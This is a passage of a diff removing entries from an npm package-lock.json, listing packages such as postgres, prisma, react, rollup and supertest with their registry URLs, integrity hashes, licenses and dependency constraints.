"sha512-F63x5tizV6WCh4R6RHyi2Ml+M70DNRXt/+HANowMflpgGFMAym/VKm6G7ZOQRjqN7XbGxK1Lg9t6ZrtzOaivMw==", - "license": "MIT", - "dependencies": { - "split2": "^4.0.0" - } - }, - "node_modules/pino-std-serializers": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-7.1.0.tgz", - "integrity": "sha512-BndPH67/JxGExRgiX1dX0w1FvZck5Wa4aal9198SrRhZjH3GxKQUKIBnYJTdj2HDN3UQAS06HlfcSbQj2OHmaw==", - "license": "MIT" - }, - "node_modules/pkg-types": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.3.tgz", - "integrity": "sha512-j/lCFdcppV0JxWpCEITdbDltBxPP6cHT+yNJ6Go2OgoSA9518X847X9z0p6LtA4Nc16+eQzCZjRrWanTGvHJ5w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "confbox": "^0.3.1", - "exsolve": "^1.1.1", - "pathe": "^2.0.3" - } - }, - "node_modules/pkg-types/node_modules/confbox": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.3.1.tgz", - "integrity": "sha512-cKUSoKa8YxFZZSmraVi7onONx3amu77ngK3kGpsYHDH7drPwCRkQE1RYMPlLRrMtnciRj274XNRxcHxnKmDSnA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/postcss": { - "version": "8.5.28", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz", - "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/postcss" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "nanoid": "^3.3.18", - "picocolors": "^1.1.1", - "source-map-js": "^1.2.1" - }, - "engines": { - "node": "^10 || ^12 || >=14" - } - }, - "node_modules/postgres": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/postgres/-/postgres-3.4.7.tgz", - "integrity": "sha512-Jtc2612XINuBjIl/QTWsV5UvE8UHuNblcO3vVADSrKsrc6RqGX6lOW1cEo3CM2v0XG4Nat8nI+YM7/f26VxXLw==", - "devOptional": true, - "license": "Unlicense", - "engines": { - "node": ">=12" - }, - "funding": { - "type": "individual", - "url": "https://github.com/sponsors/porsager" - } - }, - "node_modules/postgres-array": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", - "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/postgres-bytea": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", - "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postgres-date": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", - "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postgres-interval": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", - "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", - "license": "MIT", - "dependencies": { - "xtend": "^4.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/prisma": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/prisma/-/prisma-7.10.1.tgz", - "integrity": "sha512-GoVeErHGGtsSjsflQ1r2BA3RKTXtxNraQJz8OLkLhoLr7OgCscdx4qw4WMM4HnERYc+a1cq2VnMNbep+vOjNcQ==", - "devOptional": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/config": "7.10.1", - "@prisma/dev": "0.24.17", - "@prisma/engines": "7.10.1", - "@prisma/studio-core": "0.33.0", - "mysql2": "3.24.4", - "postgres": "3.4.7" - }, - "bin": { - "prisma": "build/index.js" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0" - }, - "peerDependencies": { - "better-sqlite3": ">=9.0.0", - "typescript": ">=5.4.0" - }, - "peerDependenciesMeta": { - "better-sqlite3": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/process-warning": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-5.1.1.tgz", - "integrity": "sha512-oCkNVj4OKnKEcocVBcDfiIugN1/cE6rgfT3nCtzeqZPA8+rIxMaQ0xXzIkGP8Gj2qUaP1UR7uhJ1VD8lUCpzCg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/proper-lockfile": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz", - "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "retry": "^0.12.0", - "signal-exit": "^3.0.2" - } - }, - "node_modules/proper-lockfile/node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/proxy-addr": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", - "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", - "license": "MIT", - "dependencies": { - "forwarded": "0.2.0", - "ipaddr.js": "1.9.1" - }, - "engines": { - "node": ">= 0.10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/proxy-from-env": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", - "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/pure-rand": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", - "integrity": "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA==", - "devOptional": true, - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/dubzzz" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fast-check" - } - ], - "license": "MIT" - }, - "node_modules/qs": { - "version": "6.16.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", - "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", - "license": "BSD-3-Clause", - "dependencies": { - "es-define-property": "^1.0.1", - "side-channel": "^1.1.1" - }, - "engines": { - "node": ">=0.6" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/quick-format-unescaped": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/quick-format-unescaped/-/quick-format-unescaped-4.0.4.tgz", - "integrity": "sha512-tYC1Q1hgyRuHgloV/YXs2w15unPVh8qfu/qCTfhTYamaw7fyhumKa2yGpdSo87vY32rIclj+4fWYQXUMs9EHvg==", - "license": "MIT" - }, - "node_modules/range-parser": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", - "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/raw-body": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", - "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", - "license": "MIT", - "dependencies": { - "bytes": "~3.1.2", - "http-errors": "~2.0.1", - "iconv-lite": "~0.7.0", - "unpipe": "~1.0.0" - }, - "engines": { - "node": ">= 0.10" - } - }, - "node_modules/rc9": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/rc9/-/rc9-3.1.0.tgz", - "integrity": "sha512-ufjkNVzbRHKcCOmTahZkmVsyc3W+MSk3jY03m+a7tGHkIsdVMG9l10/3HvFbWkkKzY5VFp3pkRsIo/UYgmFL7Q==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "defu": "^6.1.7", - "destr": "^2.0.5" - } - }, - "node_modules/react": { - "version": "19.3.1", - "resolved": "https://registry.npmjs.org/react/-/react-19.3.1.tgz", - "integrity": "sha512-QNhWdt7nrgVWWQG58QuGsAR3jv3Hbe4mb4vz7w2csnHavciZJgda1CPNaldF6eVxv90ud3jUXpKlHL69gO38yw==", - "devOptional": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/react-dom": { - "version": "19.3.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.1.tgz", - "integrity": "sha512-Y0bARz53lhEC1NMCASs0/j+faB/zqt3R8hpvg1e8+61ZVJ4UL0UdC4cBbXfZMcIuhrfgeILTLe+ZeBCavQPtKQ==", - "devOptional": true, - "license": "MIT", - "peer": true, - "dependencies": { - "scheduler": "^0.28.0" - }, - "peerDependencies": { - "react": "^19.3.1" - } - }, - "node_modules/readdirp": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz", - "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/real-require": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/real-require/-/real-require-0.2.0.tgz", - "integrity": "sha512-57frrGM/OCTLqLOAh0mhVA9VBMHd+9U7Zb2THMGdBUoZVOtGbJzjxsYGDJ3A9AYYCP4hn6y1TVbaOfzWtm5GFg==", - "license": "MIT", - "engines": { - "node": ">= 12.13.0" - } - }, - "node_modules/remeda": { - "version": "2.33.4", - "resolved": "https://registry.npmjs.org/remeda/-/remeda-2.33.4.tgz", - "integrity": "sha512-ygHswjlc/opg2VrtiYvUOPLjxjtdKvjGz1/plDhkG66hjNjFr1xmfrs2ClNFo/E6TyUFiwYNh53bKV26oBoMGQ==", - "devOptional": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/remeda" - } - }, - "node_modules/require-from-string": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", - "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/ret": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/ret/-/ret-0.5.0.tgz", - "integrity": "sha512-I1XxrZSQ+oErkRR4jYbAyEEu2I0avBvvMM5JN+6EBprOGRCs63ENqZ3vjavq8fBw2+62G5LF5XelKwuJpcvcxw==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/robust-predicates": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.3.tgz", - "integrity": "sha512-NS3levdsRIUOmiJ8FZWCP7LG3QpJyrs/TE0Zpf1yvZu8cAJJ6QMW92H1c7kWpdIHo8RvmLxN/o2JXTKHp74lUA==", - "devOptional": true, - "license": "Unlicense" - }, - "node_modules/rollup": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.63.2.tgz", - "integrity": "sha512-l5eyksV4tPBj6lJyEa37YzIOCSOV7lkZzEHUdpjWZbtD7wTcFYmEYXSgm5bT4vV+dZLb9rBG1W9GROOG4NS4Ew==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/estree": "1.0.9" - }, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=18.0.0", - "npm": ">=8.0.0" - }, - "optionalDependencies": { - "@napi-rs/lzma-linux-x64-gnu": "1.5.1", - "@rollup/rollup-android-arm-eabi": "4.63.2", - "@rollup/rollup-android-arm64": "4.63.2", - "@rollup/rollup-darwin-arm64": "4.63.2", - "@rollup/rollup-darwin-x64": "4.63.2", - "@rollup/rollup-freebsd-arm64": "4.63.2", - "@rollup/rollup-freebsd-x64": "4.63.2", - "@rollup/rollup-linux-arm-gnueabihf": "4.63.2", - "@rollup/rollup-linux-arm-musleabihf": "4.63.2", - "@rollup/rollup-linux-arm64-gnu": "4.63.2", - "@rollup/rollup-linux-arm64-musl": "4.63.2", - "@rollup/rollup-linux-loong64-gnu": "4.63.2", - "@rollup/rollup-linux-loong64-musl": "4.63.2", - "@rollup/rollup-linux-ppc64-gnu": "4.63.2", - "@rollup/rollup-linux-ppc64-musl": "4.63.2", - "@rollup/rollup-linux-riscv64-gnu": "4.63.2", - "@rollup/rollup-linux-riscv64-musl": "4.63.2", - "@rollup/rollup-linux-s390x-gnu": "4.63.2", - "@rollup/rollup-linux-x64-gnu": "4.63.2", - "@rollup/rollup-linux-x64-musl": "4.63.2", - "@rollup/rollup-openbsd-x64": "4.63.2", - "@rollup/rollup-openharmony-arm64": "4.63.2", - "@rollup/rollup-win32-arm64-msvc": "4.63.2", - "@rollup/rollup-win32-ia32-msvc": "4.63.2", - "@rollup/rollup-win32-x64-gnu": "4.63.2", - "@rollup/rollup-win32-x64-msvc": "4.63.2", - "fsevents": "~2.3.2" - } - }, - "node_modules/router": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", - "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.0", - "depd": "^2.0.0", - "is-promise": "^4.0.0", - "parseurl": "^1.3.3", - "path-to-regexp": "^8.0.0" - }, - "engines": { - "node": ">= 18" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/safe-regex2": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/safe-regex2/-/safe-regex2-5.1.2.tgz", - "integrity": "sha512-tAtCGFPPP02VroDVzp4daGi6bC7jWG+41D47GKf18FeH/ubvKQHT9VmhAkvtjNOmJwqtApzWeUpEhkyEYULvmw==", - "devOptional": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "ret": "~0.5.0" - }, - "bin": { - "safe-regex2": "bin/safe-regex2.js" - } - }, - "node_modules/safe-stable-stringify": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", - "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "license": "MIT" - }, - "node_modules/scheduler": { - "version": "0.28.0", - "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.28.0.tgz", - "integrity": "sha512-juorfCmIkIw8tT+p5BXSm6PJjQF/ycEYmKyzURCIt/RaZIhL+PulbQ9Yu2z1HdOJDdqDTlxA1+xKBmHXJsczAw==", - "devOptional": true, - "license": "MIT", - "peer": true - }, - "node_modules/semver": { - "version": "7.8.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", - "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/send": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", - "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.3", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "etag": "^1.8.1", - "fresh": "^2.0.0", - "http-errors": "^2.0.1", - "mime-types": "^3.0.2", - "ms": "^2.1.3", - "on-finished": "^2.4.1", - "range-parser": "^1.2.1", - "statuses": "^2.0.2" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/serve-static": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", - "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", - "license": "MIT", - "dependencies": { - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "parseurl": "^1.3.3", - "send": "^1.2.0" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", - "license": "ISC" - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "devOptional": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/side-channel": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz", - "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.4", - "side-channel-list": "^1.0.1", - "side-channel-map": "^1.0.1", - "side-channel-weakmap": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-list": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz", - "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.4" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-map": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", - "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-weakmap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", - "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3", - "side-channel-map": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", - "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/smol-toml": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.9.1.tgz", - "integrity": "sha512-j7WyPdf0CJoutMzMoPLF/bVXHtKZIT9Rb4eGeEbWw8X2t5oirjPgpL+OpaENZrILYaXqYwnVH+qgUwVbl+pUJQ==", - "license": "BSD-3-Clause", - "engines": { - "node": ">= 18" - }, - "funding": { - "url": "https://github.com/sponsors/cyyynthia" - } - }, - "node_modules/sonic-boom": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/sonic-boom/-/sonic-boom-4.2.1.tgz", - "integrity": "sha512-w6AxtubXa2wTXAUsZMMWERrsIRAdrK0Sc+FUytWvYAhBJLyuI4llrMIC1DtlNSdI99EI86KZum2MMq3EAZlF9Q==", - "license": "MIT", - "dependencies": { - "atomic-sleep": "^1.0.0" - } - }, - "node_modules/source-map-js": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz", - "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/split2": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", - "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", - "license": "ISC", - "engines": { - "node": ">= 10.x" - } - }, - "node_modules/sql-escaper": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/sql-escaper/-/sql-escaper-1.5.2.tgz", - "integrity": "sha512-6CKD38c31SENivxOADeMNLdukOnUxUcflKtzVWzace7Riv1v7cAEym5Cx9Q7gYZ3ezIJI7ZpqecQq8cqNeSSFg==", - "devOptional": true, - "license": "MIT", - "engines": { - "bun": ">=1.0.0", - "deno": ">=2.0.0", - "node": ">=12.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/mysqljs/sql-escaper?sponsor=1" - } - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/statuses": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/std-env": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-4.2.0.tgz", - "integrity": "sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==", - "dev": true, - "license": "MIT" - }, - "node_modules/superagent": { - "version": "10.3.0", - "resolved": "https://registry.npmjs.org/superagent/-/superagent-10.3.0.tgz", - "integrity": "sha512-B+4Ik7ROgVKrQsXTV0Jwp2u+PXYLSlqtDAhYnkkD+zn3yg8s/zjA2MeGayPoY/KICrbitwneDHrjSotxKL+0XQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "component-emitter": "^1.3.1", - "cookiejar": "^2.1.4", - "debug": "^4.3.7", - "fast-safe-stringify": "^2.1.1", - "form-data": "^4.0.5", - "formidable": "^3.5.4", - "methods": "^1.1.2", - "mime": "2.6.0", - "qs": "^6.14.1" - }, - "engines": { - "node": ">=14.18.0" - } - }, - "node_modules/supertest": { - "version": "7.2.2", - "resolved": "https://registry.npmjs.org/supertest/-/supertest-7.2.2.tgz", - "integrity": "sha512-oK8WG9diS3DlhdUkcFn4tkNIiIbBx9lI2ClF8K+b2/m8Eyv47LSawxUzZQSNKUrVb2KsqeTDCcjAAVPYaSLVTA==", - "dev": true, - "license": "MIT", - "dependencies": { - "cookie-signature": "^1.2.2", - "methods": "^1.1.2", - "superagent": "^10.3.0" - }, - "engines": { - "node": ">=14.18.0" - } - }, - "node_modules/thread-stream": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/thread-stream/-/thread-stream-3.2.0.tgz", - "integrity": 